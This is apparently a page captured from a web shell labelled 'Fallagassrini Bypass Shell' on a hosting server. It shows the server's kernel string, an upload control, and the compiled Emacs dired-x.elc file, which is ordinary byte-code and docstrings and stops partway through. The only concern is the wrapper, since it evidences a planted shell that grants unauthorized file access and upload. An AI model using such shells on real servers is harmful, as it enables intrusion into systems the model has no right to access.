? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/emacs/24.3/lisp/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : //usr/share/emacs/24.3/lisp/dired-x.elc

;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:06:15 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/dired-x.el
;;; in Emacs version 24.3.1
;;; with all optimizations.
;;; Function definitions are lazy-loaded.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\302\303!\210\304\305\306\307\310\303%\210\304\311\306\312\313\314\310\305&\210\315\316\306\317\320\321\310\311&\210\315\322\323\324\320\321\325\326\310\311&	\210\315\327\323\330\320\321\325\331\310\311&	\210\315\332\323\333\320\321\325\334\310\311&	\210\315\335\306\336\320\337\310\305&\210\315\340\341\342\320\343\310\305&\210\344\345\346\306#\210\347\306\211\203\213	@\345N\203\204\346N\204\204\350\346\345N#\210	A\211\204m*\351\345\346\352#\207" [prop --dolist-tail-- require dired custom-declare-group dired-x nil "Extended directory editing (dired-x)." :group dired-keys "Dired keys customizations." :prefix "dired-" custom-declare-variable dired-bind-vm "Non-nil means \"V\" runs `dired-vm', otherwise \"V\" runs `dired-rmail'.\nRMAIL files in the old Babyl format (used before before Emacs 23.1)\ncontain \"-*- rmail -*-\" at the top, so `dired-find-file'\nwill run `rmail' on these files.  New RMAIL files use the standard\nmbox format, and so cannot be distinguished in this way." :type boolean dired-bind-jump t "Non-nil means bind `dired-jump' to C-x C-j, otherwise do not.\nSetting this variable directly after dired-x is loaded has no effect -\nuse \\[customize]." :set #[(sym val) "	L\203\304\n\305\306#\210\304\305\307#\207\310\n\305\"\306=\203!\304\n\305\311#\210\310\305\"\307=\205/\304\305\311#\207" [sym val ctl-x-map ctl-x-4-map define-key "\n" dired-jump dired-jump-other-window lookup-key nil] 4] dired-bind-man "Non-nil means bind `dired-man' to \"N\" in dired-mode, otherwise do not.\nSetting this variable directly after dired-x is loaded has no effect -\nuse \\[customize]." #[(sym val) "	L\203\f\303\n\304\305#\207\306\n\304\"\305=\205\303\n\304\307#\207" [sym val dired-mode-map define-key "N" dired-man lookup-key nil] 4] dired-bind-info "Non-nil means bind `dired-info' to \"I\" in dired-mode, otherwise do not.\nSetting this variable directly after dired-x is loaded has no effect -\nuse \\[customize]." #[(sym val) "	L\203\f\303\n\304\305#\207\306\n\304\"\305=\205\303\n\304\307#\207" [sym val dired-mode-map define-key "I" dired-info lookup-key nil] 4] dired-vm-read-only-folders "If non-nil, \\[dired-vm] will visit all folders read-only.\nIf neither nil nor t, e.g. the symbol `if-file-read-only', only\nfiles not writable by you are visited read-only." (choice (const :tag "off" nil) (const :tag "on" t) (other :tag "non-writable only" if-file-read-only)) dired-omit-size-limit 30000 "Maximum size for the \"omitting\" feature.\nIf nil, there is no maximum size." (choice (const :tag "no maximum" nil) integer) defvaralias dired-omit-files-p dired-omit-mode (saved-value saved-variable-comment) put make-obsolete-variable "22.1"] 11)
#@99 Non-nil if Dired-Omit mode is enabled.
Use the command `dired-omit-mode' to change this variable.
(defvar dired-omit-mode nil (#$ . 3307))
(make-variable-buffer-local 'dired-omit-mode)
#@653 Toggle omission of uninteresting files in Dired (Dired-Omit mode).
With a prefix argument ARG, enable Dired-Omit mode if ARG is
positive, and disable it otherwise.  If called from Lisp, enable
the mode if ARG is omitted or nil.

Dired-Omit mode is a buffer-local minor mode.  When enabled in a
Dired buffer, Dired does not list files whose filenames match
regexp `dired-omit-files', nor files ending with extensions in
`dired-omit-extensions'.

To enable omitting in every Dired buffer, you can put this in
your init file:

  (add-hook 'dired-mode-hook (lambda () (dired-omit-mode)))

See Info node `(dired-x) Omitting Variables' for more information.
(defalias 'dired-omit-mode #[(&optional arg) #@548 ("\304 	\305=\2030\n?\2020\306	!\307V\211\203!0\310\311 \210)\202$0\312 \210\313\314\n\203.0\315\202/0\316\"\210\317\320!\203P0\304 \203C0\304 \232\203P0\321\322\n\203M0\323\202N0\324\"\210)\325 \210\n\207" . [#1=#:last-message arg dired-omit-mode dired-omit-size-limit current-message toggle prefix-numeric-value 0 nil dired-omit-expunge revert-buffer run-hooks dired-omit-mode-hook dired-omit-mode-on-hook dired-omit-mode-off-hook called-interactively-p any message "Dired-Omit mode %sabled" "en" "dis" force-mode-line-update])(#$ . 4203) nil 4 (#$ . 3499) (list (or current-prefix-arg 'toggle))])
(byte-code "\303\304\305\306\300!\205\n\305\211%\210\307\304\310\311#\210\312\313\314\315\316\317\320\321&\210\312\322\323\324\325\326\316\327\320\321&	\210\312\330\305\331\316\327\320\321&\210\312\332\323\333\334\323\316\335\320\321&	\210\336\332\337\326#\210\312\340\341\342\325\326\316\343\320\321&	\210\312\344\323\345\316\327\320\321&\210\312\346\305\347\316\350\320\321&\210\312\351\323\352\316\327\320\321&\210\353	\354\304#\210\353	\355\356#\210\353	\357\360#\210\353	\361\360#\210\353	\362\363#\210\353	\364\365#\210\353	\366\367#\210\353	\370\371#\210\353	\372\373#\210\353	\374\375#\210\353	\376\377#\210\201@\201A!\210\201B	\201C\"\201D\n\201E\201F\201G$\210\201D\n\201H\201I\201J$\210\201D\n\201K\201L\201M$\210\201D\n\201N\201O\201P$\210\201D\n\201Q\201R\201P$\210\201D\n\201S\201T\201U$\210\201D\n\201V\201W\201X$\210)\201Y\201Z\201[\"\210\201Y\201\\\201]\"\207" [dired-omit-mode-map dired-mode-map menu add-minor-mode dired-omit-mode nil boundp put safe-local-variable booleanp custom-declare-variable dired-omit-files "^\\.?#\\|^\\.$\\|^\\.\\.$" "Filenames matching this regexp will not be displayed.\nThis only has effect when `dired-omit-mode' is t.  See interactive function\n`dired-omit-mode' (\\[dired-omit-mode]) and variable\n`dired-omit-extensions'.  The default is to omit  `.', `..', auto-save\nfiles and lock files." :type regexp :group dired-x dired-omit-verbose t "When non-nil, show messages when omitting files.\nWhen nil, don't show messages." :version "24.1" boolean dired-find-subdir "If non-nil, Dired always finds a directory in a buffer of its own.\nIf nil, Dired finds the directory as a subdirectory in some other buffer\nif it is present as one.\n\nIf there are several dired buffers for a directory, the most recently\nused is chosen.\n\nDired avoids switching to the current buffer, so that if you have\na normal and a wildcard buffer for the same directory, \\[dired] will\ntoggle between those two." dired-enable-local-variables "Control use of local-variables lists in Dired.\nThis temporarily overrides the value of `enable-local-variables' when\nlisting a directory.  See also `dired-local-variables-file'." :risky (choice (const :tag "Query Unsafe" t) (const :tag "Safe Only" :safe) (const :tag "Do all" :all) (const :tag "Ignore" nil) (other :tag "Query" other)) make-obsolete-variable "use a standard `dir-locals-file' instead." dired-guess-shell-gnutar (catch 'found (dolist (exe '("tar" "gtar")) (if (with-temp-buffer (ignore-errors (call-process exe nil t nil "--version")) (and (re-search-backward "GNU tar" nil t) t)) (throw 'found exe)))) "If non-nil, name of GNU tar executable.\n(E.g., \"tar\" or \"gtar\").  The `z' switch will be used with it for\ncompressed or gzip'ed tar files.  If you don't have GNU tar, set this\nto nil: a pipe using `zcat' or `gunzip -c' will be used." (choice (const :tag "Not GNU tar" nil) (string :tag "Command name")) dired-guess-shell-gzip-quiet "Non-nil says pass -q to gzip overriding verbose GZIP environment." dired-guess-shell-znew-switches "If non-nil, then string of switches passed to `znew', example: \"-K\"." (choice (const :tag "None" nil) (string :tag "Switches")) dired-clean-up-buffers-too "Non-nil means offer to kill buffers visiting files and dirs deleted in Dired." define-key "\357" "*O" dired-mark-omitted "\250" dired-mark-sexp "*(" "*." dired-mark-extension "\241" dired-smart-shell-command "\307" dired-goto-subdir "F" dired-do-find-marked-files "Y" dired-do-relsymlink "%Y" dired-do-relsymlink-regexp "V" dired-do-run-mail require easymenu lookup-key [menu-bar] easy-menu-add-item ("Operate") ["Find Files" dired-do-find-marked-files :help "Find current or marked files"] "Shell Command..." ("Operate") ["Relative Symlink to..." dired-do-relsymlink :visible (fboundp 'make-symbolic-link) :help "Make relative symbolic links for current or marked files"] "Hardlink to..." ("Mark") ["Flag Extension..." dired-flag-extension :help "Flag files with a certain extension for deletion"] "Mark Executables" ("Mark") ["Mark Extension..." dired-mark-extension :help "Mark files with a certain extension"] "Unmark All" ("Mark") ["Mark Omitted" dired-mark-omitted :help "Mark files matching `dired-omit-files' and `dired-omit-extensions'"] ("Regexp") ["Relative Symlink..." dired-do-relsymlink-regexp :visible (fboundp 'make-symbolic-link) :help "Make relative symbolic links for files matching regexp"] "Hardlink..." ("Immediate") ["Omit Mode" dired-omit-mode :style toggle :selected dired-omit-mode :help "Enable or disable omitting \"uninteresting\" files"] "Refresh" add-hook dired-mode-hook dired-extra-startup dired-after-readin-hook dired-omit-expunge] 10)
#@639 Automatically put on `dired-mode-hook' to get extra Dired features:
\<dired-mode-map>
  \[dired-do-run-mail]	-- run mail on folder (see `dired-bind-vm')
  \[dired-info]	-- run info on file
  \[dired-man]	-- run man on file
  \[dired-do-find-marked-files]	-- visit all marked files simultaneously
  \[dired-omit-mode]	-- toggle omitting of files
  \[dired-mark-sexp]	-- mark by Lisp expression

To see the options you can set, use M-x customize-group RET dired-x RET.
See also the functions:
  `dired-flag-extension'
  `dired-virtual'
  `dired-jump'
  `dired-man'
  `dired-vm'
  `dired-rmail'
  `dired-info'
  `dired-do-find-marked-files'
(defalias 'dired-extra-startup #[nil #@74 ("\300 \210\301 \207" . [dired-hack-local-variables dired-omit-startup])(#$ . 10220) nil 1 (#$ . 9539) nil])
#@130 Mark all files with a certain EXTENSION for use in later commands.
A `.' is *not* automatically prepended to the string entered.
(defalias 'dired-mark-extension #[(extension &optional marker-char) #@152 ("<\2040C\302\303\304\305\306\307#\310R	\"\207" . [extension marker-char dired-mark-files-regexp "." "\\(" mapconcat regexp-quote "\\|" "\\)$"])(#$ . 10540) nil 7 (#$ . 10336) "sMarking extension: \nP"])
#@127 In dired, flag all files with a certain EXTENSION for deletion.
A `.' is *not* automatically prepended to the string entered.
(defalias 'dired-flag-extension #[(extension) #@70 ("\302	\"\207" . [extension dired-del-marker dired-mark-extension])(#$ . 10935) nil 3 (#$ . 10757) "sFlagging extension: "])
#@73 List of extensions of dispensable files created by the `patch' program.
(defvar dired-patch-unclean-extensions '(".rej" ".orig") (#$ . 11067))
#@57 List of extensions of dispensable files created by TeX.
(defvar dired-tex-unclean-extensions '(".toc" ".log" ".aux") (#$ . 11216))
#@59 List of extensions of dispensable files created by LaTeX.
(defvar dired-latex-unclean-extensions '(".idx" ".lof" ".lot" ".glo") (#$ . 11353))
#@60 List of extensions of dispensable files created by BibTeX.
(defvar dired-bibtex-unclean-extensions '(".blg" ".bbl") (#$ . 11501))
#@61 List of extensions of dispensable files created by texinfo.
(defvar dired-texinfo-unclean-extensions '(".cp" ".cps" ".fn" ".fns" ".ky" ".kys" ".pg" ".pgs" ".tp" ".tps" ".vr" ".vrs") (#$ . 11637))
#@102 Flag dispensable files created by patch for deletion.
See variable `dired-patch-unclean-extensions'.
(defalias 'dired-clean-patch #[nil #@72 ("\301!\207" . [dired-patch-unclean-extensions dired-flag-extension])(#$ . 11982) nil 2 (#$ . 11840) nil])
#@216 Flag dispensable files created by [La]TeX etc. for deletion.
See variables `dired-tex-unclean-extensions',
`dired-latex-unclean-extensions', `dired-bibtex-unclean-extensions' and
`dired-texinfo-unclean-extensions'.
(defalias 'dired-clean-tex #[nil #@182 ("\304\305	\n$!\207" . [dired-texinfo-unclean-extensions dired-latex-unclean-extensions dired-bibtex-unclean-extensions dired-tex-unclean-extensions dired-flag-extension append])(#$ . 12352) nil 6 (#$ . 12097) nil])
#@228 Flag dispensable files created by [La]TeX *and* ".dvi" for deletion.
See variables `dired-texinfo-unclean-extensions',
`dired-latex-unclean-extensions', `dired-bibtex-unclean-extensions' and
`dired-texinfo-unclean-extensions'.
(defalias 'dired-very-clean-tex #[nil #@194 ("\304\305	\n\306C%!\207" . [dired-texinfo-unclean-extensions dired-latex-unclean-extensions dired-bibtex-unclean-extensions dired-tex-unclean-extensions dired-flag-extension append ".dvi"])(#$ . 12849) nil 7 (#$ . 12577) nil])
#@431 Jump to dired buffer corresponding to current buffer.
If in a file, dired the current directory and move to file's line.
If in Dired already, pop up a level and goto old directory's line.
In case the proper dired file line cannot be found, refresh the dired
buffer and try again.
When OTHER-WINDOW is non-nil, jump to dired buffer in other window.
Interactively with prefix argument, read FILE-NAME and
move to its line in dired.
(defalias 'dired-jump #[(&optional other-window file-name) #@480 ("\2060	\211\2030\306\n!\2020
\307=\20370\20470\310 \311!\210\312\f!?\205h0\313\306\f!!\210\312\f!\202h0\203C0\314\f!\210\202G0\315\f!\210\n\205h0\312\n!\206h0\313\306\n!!\210\312\n!\206h0\205h0\316 \210\312\n!*\207" . [file-name buffer-file-name file default-directory dir major-mode file-name-directory dired-mode dired-current-directory dired-up-directory dired-goto-file dired-insert-subdir dired-other-window dired dired-omit-mode other-window])(#$ . 13582) nil 4 (#$ . 13086) (list nil (and current-prefix-arg (read-file-name "Jump to dired file: ")))])
#@56 Like \[dired-jump] (`dired-jump') but in other window.
(defalias 'dired-jump-other-window #[(&optional file-name) #@48 ("\301\302\"\207" . [file-name dired-jump t])(#$ . 14296) nil 3 (#$ . 14176) (list (and current-prefix-arg (read-file-name "Jump to dired file: ")))])
#@248 The LOCALP argument `dired-omit-expunge' passes to `dired-get-filename'.
If it is `no-dir', omitting is much faster, but you can only match
against the non-directory part of the file name.  Set it to nil if you
need to match the entire file name.
(defvar dired-omit-localp 'no-dir (#$ . 14455))
#@100 Temporary marker used by Dired-Omit.
Should never be used as marker by the user or other packages.
(defvar dired-omit-marker-char 15 (#$ . 14757))
(defalias 'dired-omit-startup #[nil #@159 ("\301\236\206\f0\302\303\"\211\207" . [minor-mode-alist dired-omit-mode append ((dired-omit-mode (:eval (if (eq major-mode 'dired-mode) " Omit" ""))))])(#$ . 14947) nil 3])
#@69 Mark files matching `dired-omit-files' and `dired-omit-extensions'.
(defalias 'dired-mark-omitted #[nil #@144 ("\302\303 \210)\304\305 \302\211	$\207" . [dired-omit-mode dired-omit-localp nil revert-buffer dired-mark-unmarked-files dired-omit-regexp])(#$ . 15242) nil 5 (#$ . 15131) nil])
#@360 If non-nil, a list of extensions (strings) to omit from Dired listings.
Defaults to elements of `completion-ignored-extensions',
`dired-latex-unclean-extensions', `dired-bibtex-unclean-extensions', and
`dired-texinfo-unclean-extensions'.

See interactive function `dired-omit-mode' (\[dired-omit-mode]) and
variables `dired-omit-mode' and `dired-omit-files'.
(custom-declare-variable 'dired-omit-extensions '(append completion-ignored-extensions dired-latex-unclean-extensions dired-bibtex-unclean-extensions dired-texinfo-unclean-extensions) '(#$ . 15429) :type '(repeat string) :group 'dired-x)
#@493 Erases all unmarked files matching REGEXP.
Does nothing if global variable `dired-omit-mode' is nil, or if called
  non-interactively and buffer is bigger than `dired-omit-size-limit'.
If REGEXP is nil or not specified, uses `dired-omit-files', and also omits
  filenames ending in `dired-omit-extensions'.
If REGEXP is the empty string, this function is a no-op.

This functions works by temporarily binding `dired-marker-char' to
`dired-omit-marker-char' and calling `dired-do-kill-lines'.
(defalias 'dired-omit-expunge #[(&optional regexp) #@798 ("\205|0\306\307!\204\"0	\203\"0\310 	W\204\"0\n\2030\311\312	\"\210\313\211\207\206(0\314 \315 \313\211\316\230\204h0\n\203A0\311\317!\210\320\313\211$\203_0\321\313\n\203V0\322\202W0\316\"\323 \210\202g0\n\203g0\311\324!\210)\325
\205x0\212eb\210\326\313\327#)!\210\f+\207" . [dired-omit-mode dired-omit-size-limit dired-omit-verbose regexp count old-modified-p called-interactively-p interactive buffer-size message "Not omitting: directory larger than %d characters." nil dired-omit-regexp buffer-modified-p "" "Omitting..." dired-mark-unmarked-files dired-do-kill-lines "Omitted %d line%s." force-mode-line-update "(Nothing to omit)" set-buffer-modified-p re-search-forward t omit-re dired-omit-marker-char dired-marker-char dired-omit-localp dired-re-mark])(#$ . 16583) nil 6 (#$ . 16033) "sOmit files (regexp): "])
(defalias 'dired-omit-regexp #[nil #@216 ("\2030\302\303Q\202\f0\304\2030	\2030\305\2020\304	\203)0\306\302\307\310	\305#\311R\202*0\304Q\207" . [dired-omit-files dired-omit-extensions "\\(" "\\)" "" "\\|" "." mapconcat regexp-quote "\\)$"])(#$ . 17480) nil 8])
#@258 Mark unmarked files matching REGEXP, displaying MSG.
REGEXP is matched against the entire file name.  When called
interactively, prompt for REGEXP.
With prefix argument, unflag all those files.
Optional fourth argument LOCALP is as in `dired-get-filename'.
(defalias 'dired-mark-unmarked-files #[(regexp msg &optional unflag-p localp) #@677 ("\2030\306\202	0	\307\310\212\311\f\203:0\312\313	\306=\203!0\314\202,0
	=\203+0\315\202,0\316\f
	=\20370\317\20280\320$\210eb\210m\204l0\321\322!\203f0\323\307\"\211\205X0\324\")\203f0\325\326!\210	c\210\nT\326y\210\202=0\f\203\2200\312\327\n\f\330\n!	\306=\203\2010\331\202\2020\320	
=\203\2140\332\202\2150\333&\210)\n\311V\205\2300\n+\207" . [unflag-p dired-marker-char count inhibit-read-only msg dired-del-marker 32 t nil 0 message "%s %ss%s..." "Unmarking" "Flagging" "Marking" " for deletion" "" looking-at " " dired-get-filename string-match delete-char 1 "%s %s%s %s%s." dired-plural-s "un" "flagged" "marked" localp fn regexp])(#$ . 18064) nil 9 (#$ . 17722) (list (dired-read-regexp "Mark unmarked files matching regexp (default all): ") nil current-prefix-arg nil)])
(defalias 'virtual-dired 'dired-virtual)
#@815 Put this buffer into Virtual Dired mode.

In Virtual Dired mode, all commands that do not actually consult the
filesystem will work.

This is useful if you want to peruse and move around in an ls -lR
output file, for example one you got from an ftp server.  With
ange-ftp, you can even dired a directory containing an ls-lR file,
visit that file and turn on virtual dired mode.  But don't try to save
this file, as dired-virtual indents the listing and thus changes the
buffer.

If you have save a Dired buffer in a file you can use \[dired-virtual] to
resume it in a later session.

Type \<dired-mode-map>\[revert-buffer] in the Virtual Dired buffer and answer `y' to convert
the virtual to a real dired buffer again.  You don't have to do this, though:
you can relist single subdirs using \[dired-do-redisplay].
(defalias 'dired-virtual #[(dirname &optional switches) #@685 ("eb\210\306\307!\2040\310ed\311#\210\2040	\312\313!!\211\212eb\210\314y\210\306\315!\205/0\316\225\317 {)\211\203:0\312\n	\")eb\210\306!\204N0\307\320\321	!!\322\261\210\323\f\206U0
\"\210\324\325\326\327!\210\330\331 \210eb\210\332!\207" . [dirname default-directory wildcard dired-subdir-regexp switches dired-listing-switches looking-at "  " indent-region 2 expand-file-name file-name-as-directory 1 "^  wildcard " 0 line-end-position directory-file-name file-name-directory ":\n" dired-mode "Virtual Dired" dired-virtual-revert make-local-variable dired-subdir-alist nil dired-build-subdir-alist dired-initial-position mode-name revert-buffer-function])(#$ . 19806) nil 5 (#$ . 18929) (list (read-string "Virtual Dired directory: " (dired-virtual-guess-dir)))])
#@204 Guess and return appropriate working directory of this buffer.
The buffer is assumed to be in Dired or ls -lR format.  The guess is
based upon buffer contents.  If nothing could be guessed, returns
nil.
(defalias 'dired-virtual-guess-dir #[nil #@287 ("\303\304eb\210\305	!\2030\224\225{\306\n!)\20210\307	\310\311#\20300\312\313\306\224\225{!!!\20210\310*\207" . [subexpr regexp dir "^\\(  \\)?\\([^ \n
]*\\)\\(:\\)[\n
]" 2 looking-at file-name-as-directory re-search-forward nil t file-name-directory directory-file-name])(#$ . 20856) nil 5 (#$ . 20605)])
(defalias 'dired-virtual-revert #[(&optional _arg _noconfirm) #@250 ("\302\303!\204\n0\304\305!\207\306\307\310 \207" . [mode-name revert-buffer-function y-or-n-p "Cannot revert a Virtual Dired buffer - switch to Real Dired mode? " error "Cannot revert a Virtual Dired buffer" "Dired" dired-revert revert-buffer])(#$ . 21244) nil 2])
#@343 Put current buffer into Virtual Dired mode (see `dired-virtual').
Useful on `magic-mode-alist' with the regexp

  "^  \\(/[^ /]+\\)+/?:$"

to put saved dired buffers automatically into Virtual Dired mode.

Also useful for `auto-mode-alist' like this:

  (add-to-list 'auto-mode-alist
               '("[^/]\\.dired\\'" . dired-virtual-mode))
(defalias 'dired-virtual-mode #[nil #@62 ("\300\301 !\207" . [dired-virtual dired-virtual-guess-dir])(#$ . 21904) nil 2 (#$ . 21520) nil])
(byte-code "\302\303\304\305#\210\306\305\211\203,	@\303N\203%\304N\204%\307\304\303N#\210	A\211\204*\310\303\304\311#\207" [prop --dolist-tail-- defvaralias default-directory-alist dired-default-directory-alist nil (saved-value saved-variable-comment) put make-obsolete-variable "24.1"] 6)
#@206 Alist of major modes and their opinion on `default-directory'.
Each element has the form (MAJOR . EXPRESSION).
The function `dired-default-directory' evaluates EXPRESSION to
determine a default directory.
(defconst dired-default-directory-alist '((dired-mode if (fboundp 'dired-current-directory) (dired-current-directory) default-directory)) (#$ . 22313))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [put dired-default-directory-alist risky-local-variable t make-obsolete-variable "this feature is due to be removed." "24.1"] 4)
#@115 Return the `dired-default-directory-alist' entry for the current major-mode.
If none, return `default-directory'.
(defalias 'dired-default-directory #[nil #@100 ("\303	\236A!\206\n0\n\207" . [major-mode dired-default-directory-alist default-directory eval])(#$ . 23024) nil 3 (#$ . 22862)])
(make-obsolete 'dired-default-directory nil "24.1")
#@76 Like function `shell-command', but in the current Virtual Dired directory.
(defalias 'dired-smart-shell-command #[(command &optional output-buffer error-buffer) #@166 ("\305=\2030\306 \206\f0	\307\n\f#)\207" . [major-mode default-directory command output-buffer error-buffer dired-mode dired-current-directory shell-command])(#$ . 23382) nil 4 (#$ . 23214) (list (read-shell-command "Shell command: " nil nil (cond (buffer-file-name (file-relative-name buffer-file-name)) ((eq major-mode 'dired-mode) (dired-get-filename t t)))) current-prefix-arg shell-command-default-error-buffer)])
(byte-code "\300\301\302\303\304\305\306\307&\210\310\301\311\312#\207" [custom-declare-variable dired-local-variables-file (convert-standard-filename ".dired") "Filename, as string, containing local dired buffer variables to be hacked.\nIf this file found in current directory, then it will be inserted into dired\nbuffer and `hack-local-variables' will be run.  See Info node\n`(emacs)File Variables' for more information on local variables.\nSee also `dired-enable-local-variables'." :type file :group dired make-obsolete-variable dir-locals-file "24.1"] 8)
#@76 Evaluate local variables in `dired-local-variables-file' for dired buffer.
(defalias 'dired-hack-local-variables #[nil #@348 (";\205(0\306!\205(0d\307	\212\fb\210\310c\210\311!\210)\312\216\313 \210*\314 +\207" . [dired-local-variables-file dired-enable-local-variables enable-local-variables inhibit-read-only opoint buffer-file-name file-exists-p t "\f\n" insert-file-contents ((byte-code "d|\207" [opoint] 2)) hack-local-variables dired-sort-set-mode-line])(#$ . 24501) nil 3 (#$ . 24375)])
(make-obsolete 'dired-hack-local-variables 'hack-dir-local-variables-non-file-buffer "24.1")
#@108 Create `dir-locals-file' setting `dired-omit-mode' to t in `dired-mode'.
If in a Dired buffer, reverts it.
(defalias 'dired-omit-here-always #[nil #@669 ("\303!\203\f0\304\305	#\210\303	!\2030\306\307	\"\207\310\311!r\nq\210\312\216\313c\210\314	!\210+\315\316!\20570\317 \210\320 \210\321 \207" . [dired-local-variables-file dir-locals-file #1=#:temp-buffer file-exists-p error "Old-style dired-local-variables-file `./%s' found;\nreplace it with a dir-locals-file `./%s'" message "File `./%s' already exists." generate-new-buffer " *temp*" ((byte-code "\301!\203\n0\302!\210\301\207" [#1# buffer-name kill-buffer] 2)) "((dired-mode . ((subdirs . nil)\n                (dired-omit-mode . t))))\n" write-file derived-mode-p dired-mode hack-dir-local-variables-non-file-buffer dired-extra-startup dired-revert])(#$ . 25135) nil 4 (#$ . 24981) nil])
(make-obsolete 'dired-omit-here-always 'add-dir-local-variable "24.1")
#@59 History list for commands that read dired-shell commands.
(defvar dired-shell-command-history nil (#$ . 25917))
(autoload 'Man-support-local-filenames "man")
#@84 Default alist used for shell command guessing.
See `dired-guess-shell-alist-user'.
(defvar dired-guess-shell-alist-default (byte-code "\300\301\302\303F\304\305\306E\307\310\311\312\313\257\314\315\316\317F\320\321\322\323F\324\325\326\327\330\331E\332\333\334E\335\336\337\340E\341\342\343E\344\345D\346\347\350E\351\352\353E\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\201@\201A\201B\201C\201D\201E\201F\201G\201H\201IF\201J\201K\201L\201M\201N\201O\201P\201QD\201R\201SD\201T\317D\201U\323D\201V\201W\201XE\201Y\2577\207" ["\\.tar\\'" (if dired-guess-shell-gnutar (concat dired-guess-shell-gnutar " xvf") "tar xvf") (if dired-guess-shell-gnutar (concat "mkdir " (file-name-sans-extension file) "; " dired-guess-shell-gnutar " -C " (file-name-sans-extension file) " -xvf") (concat "mkdir " (file-name-sans-extension file) "; tar -C " (file-name-sans-extension file) " -xvf")) (if dired-guess-shell-gnutar (concat dired-guess-shell-gnutar " tvf") "tar tvf") "\\.tar\\.Z\\'" (if dired-guess-shell-gnutar (concat dired-guess-shell-gnutar " zxvf") (concat "zcat * | tar xvf -")) (concat "znew" (if dired-guess-shell-gzip-quiet " -q") " " dired-guess-shell-znew-switches) "\\.t\\(ar\\.\\)?gz\\'" (if dired-guess-shell-gnutar (concat dired-guess-shell-gnutar " zxvf") (concat "gunzip -qc * | tar xvf -")) (if dired-guess-shell-gnutar (concat "mkdir " (file-name-sans-extension file) "; " dired-guess-shell-gnutar " -C " (file-name-sans-extension file) " -zxvf") (concat "mkdir " (file-name-sans-extension file) "; gunzip -qc * | tar -C " (file-name-sans-extension file) " -xvf -")) (concat "gunzip" (if dired-guess-shell-gzip-quiet " -q" "")) (if dired-guess-shell-gnutar (concat dired-guess-shell-gnutar " ztvf") (concat "gunzip -qc * | tar tvf -")) "\\.t\\(ar\\.bz2\\|bz\\)\\'" "bunzip2 -c * | tar xvf -" (concat "mkdir " (file-name-sans-extension file) "; bunzip2 -c * | tar -C " (file-name-sans-extension file) " -xvf -") "bunzip2" "\\.t\\(ar\\.\\)?xz\\'" "unxz -c * | tar xvf -" (concat "mkdir " (file-name-sans-extension file) "; unxz -c * | tar -C " (file-name-sans-extension file) " -xvf -") "unxz" ("\\.shar\\.Z\\'" "zcat * | unshar") ("\\.shar\\.g?z\\'" "gunzip -qc * | unshar") ("\\.e?ps\\'" "ghostview" "xloadimage" "lpr") "\\.e?ps\\.g?z\\'" "gunzip -qc * | ghostview -" (concat "gunzip" (if dired-guess-shell-gzip-quiet " -q")) "\\.e?ps\\.Z\\'" "zcat * | ghostview -" (concat "znew" (if dired-guess-shell-gzip-quiet " -q") " " dired-guess-shell-znew-switches) ("\\.patch\\'" "cat * | patch") "\\.patch\\.g?z\\'" "gunzip -qc * | patch" (concat "gunzip" (if dired-guess-shell-gzip-quiet " -q")) "\\.patch\\.Z\\'" "zcat * | patch" (concat "znew" (if dired-guess-shell-gzip-quiet " -q") " " dired-guess-shell-znew-switches) "\\.\\(?:[0-9]\\|man\\)\\'" (let ((loc (Man-support-local-filenames))) (cond ((eq loc 'man-db) "man -l") ((eq loc 'man) "man ./") (t "cat * | tbl | nroff -man -h | col -b"))) "\\.\\(?:[0-9]\\|man\\)\\.g?z\\'" (let ((loc (Man-support-local-filenames))) (cond ((eq loc 'man-db) "man -l") ((eq loc 'man) "man ./") (t "gunzip -qc * | tbl | nroff -man -h | col -b"))) (concat "gunzip" (if dired-guess-shell-gzip-quiet " -q")) "\\.[0-9]\\.Z\\'" (let ((loc (Man-support-local-filenames))) (cond ((eq loc 'man-db) "man -l") ((eq loc 'man) "man ./") (t "zcat * | tbl | nroff -man -h | col -b"))) (concat "znew" (if dired-guess-shell-gzip-quiet " -q") " " dired-guess-shell-znew-switches) ("\\.pod\\'" "perldoc" "pod2man * | nroff -man") ("\\.dvi\\'" "xdvi" "dvips") ("\\.au\\'" "play") ("\\.mpe?g\\'\\|\\.avi\\'" "xine -p") ("\\.ogg\\'" "ogg123") ("\\.mp3\\'" "mpg123") ("\\.wav\\'" "play") ("\\.uu\\'" "uudecode") ("\\.hqx\\'" "mcvert") ("\\.sh\\'" "sh") ("\\.xbm\\'" "bitmap") ("\\.gp\\'" "gnuplot") ("\\.p[bgpn]m\\'" "xloadimage") ("\\.gif\\'" "xloadimage") ("\\.tif\\'" "xloadimage") ("\\.png\\'" "display") ("\\.jpe?g\\'" "xloadimage") ("\\.fig\\'" "xfig") ("\\.out\\'" "xgraph") ("\\.tex\\'" "latex" "tex") ("\\.texi\\(nfo\\)?\\'" "makeinfo" "texi2dvi") ("\\.pdf\\'" "xpdf") ("\\.doc\\'" "antiword" "strings") ("\\.rpm\\'" "rpm -qilp" "rpm -ivh") ("\\.dia\\'" "dia") ("\\.mgp\\'" "mgp") "\\.zip\\'" "unzip" "unzip -l" (concat "unzip" (if dired-guess-shell-gzip-quiet " -q") " -d " (file-name-sans-extension file)) ("\\.zoo\\'" "zoo x//") ("\\.lzh\\'" "lharc x") ("\\.arc\\'" "arc x") ("\\.shar\\'" "unshar") ("\\.rar\\'" "unrar x") ("\\.7z\\'" "7z x") "\\.g?z\\'" (concat "gunzip" (if dired-guess-shell-gzip-quiet " -q")) "\\.dz\\'" "dictunzip" "\\.bz2\\'" "\\.xz\\'" "\\.Z\\'" "uncompress" (concat "znew" (if dired-guess-shell-gzip-quiet " -q") " " dired-guess-shell-znew-switches) ("\\.sign?\\'" "gpg --verify")] 56) (#$ . 26081))
